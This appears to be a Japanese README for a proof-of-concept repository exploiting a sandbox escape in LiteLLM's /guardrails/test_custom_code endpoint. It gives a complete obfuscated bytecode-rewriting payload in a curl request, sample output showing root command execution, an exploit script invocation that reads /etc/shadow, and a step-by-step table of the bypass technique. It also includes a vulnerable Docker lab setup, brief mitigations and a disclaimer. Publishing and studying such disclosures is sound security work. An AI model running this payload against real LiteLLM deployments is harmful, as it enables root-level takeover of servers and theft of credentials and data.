
対応する脆弱性を個人で再現するためのコード
LiteLLM の
POST /guardrails/test_custom_code— デフォルトのDockerデプロイメントにおいて、root としてのリモートコード実行 (RCE) に至るサンドボックスエスケープ。
| フィールド | 値 |
|---|---|
| CVE | CVE-2026-40217 |
| CVSS | 8.8 (HIGH) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-913 (動的に管理されるコードリソースの不適切な制御) / CWE-94 |
| 影響を受けるバージョン | LiteLLM ≤ 2026-04-08 (v1.83.11未満) |
| 修正バージョン | v1.83.11+ (自作サンドボックスを RestrictedPython に置き換え) |
| 発見者 | Markus Vervier — X41 D-Sec GmbH |
| 公開日 | 2026-04-08 |
| リンク | X41 アドバイザリ • GHSA-wxxx-gvqv-xp7p • oss-security |
LiteLLMの POST /guardrails/test_custom_code エンドポイントは、認証されたユーザーがガードレールテスト用に任意のPythonコードを送信することを許可します。このエンドポイントは正規表現ベースのソースコードフィルタリングを用いて危険な操作を制限しようとしますが、CPythonバイトコード書き換え技術を使用することで完全にバイパス可能であり、プロキシプロセスにおける任意のコード実行につながります。デフォルトのDockerイメージでは、プロキシがrootとして実行されるため、影響はさらに深刻になります。
# Install Python dependencies (required by exploit.py)
pip install -r requirements.txt
⚠️ 重要:
docker-compose.ymlは脆弱なイメージを2026年3月22日時点の特定のダイジェスト (sha256:7c311546...) に固定しています。タグをmain-latestやそれ以降のバージョンに変更しないでください。新しいイメージではバージョン番号が異なって見えても(例:v1.83.10-stableはパッチ後に再ビルドされており、脆弱ではありません)、すでに修正(RestrictedPython)が含まれている可能性があります。
# 1. Install dependencies (if not already done)
pip install -r requirements.txt
# 2. Start a vulnerable LiteLLM instance
docker compose up -d
# 3. Run the exploit
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key"
# 4. Read sensitive files (change the --cmd argument)
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key" \
--cmd "cat /etc/shadow"
# Or using curl directly
curl -s -X POST \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
http://localhost:4000/guardrails/test_custom_code \
-d '{
"custom_code": "def apply_guardrail(inputs, request_data, input_type):\n obj = str.mro()[1]\n def g(fn):\n yield fn.placeholder\n c = g(None).gi_code\n gn = \"_\"+\"_gl\"+\"ob\"+\"als\"+\"_\"+\"_\"\n cn = \"_\"+\"_co\"+\"de_\"+\"_\"\n obj.__setattr__(g, cn, c.replace(co_names=(gn,)))\n for v in g(http_get):\n gd = v\n break\n bn = \"_\"+\"_bu\"+\"ilt\"+\"ins\"+\"_\"+\"_\"\n imp = gd[bn][\"_\"+\"_im\"+\"po\"+\"rt_\"+\"_\"]\n return {\"rce\": imp(\"os\").popen(\"id\").read()}",
"test_input": {"messages": [{"role": "user", "content": "test"}]}
}'
{"success":true,"result":{"rce":"uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n"},"error":null,"error_type":null}
CVE-2026-40217/
├── README.md # This file
├── docker-compose.yml # One-command vulnerable environment
├── requirements.txt # Dependencies
├── exploit/
│ ├── exploit.py # Full exploit script
│ └── payload.py # Bytecode payload module
├── docs/
│ └── advisory.md # Translated advisory details
└── screenshots/ # Proof screenshots
RestrictedPythonを使用)/guardrails/test_custom_code をブロックするdocker run --user 1000:1000 ...免責事項: このコンテンツは教育目的および許可されたセキュリティテストのためだけに提供されています。
| 手順 | 手法 | コード |
|---|
| 1 | 文字列連結による正規表現バイパス | "_"+"_gl"+"ob"+"als"+"_"+"_" |
| 2 | str.mro()[1] による object クラスの取得 | obj = str.mro()[1] |
| 3 | gi_code によるジェネレータコードオブジェクトへのアクセス | c = g(None).gi_code |
| 4 | object.__setattr__ による関数 __code__ の交換 | obj.__setattr__(g, cn, c.replace(co_names=(gn,))) |
| 5 | http_get.__globals__ からの実際のビルトインの抽出 | imp = gd["__builtins__"]["__import__"] |
| 6 | os.popen によるRCEの達成 | imp("os").popen("id").read() |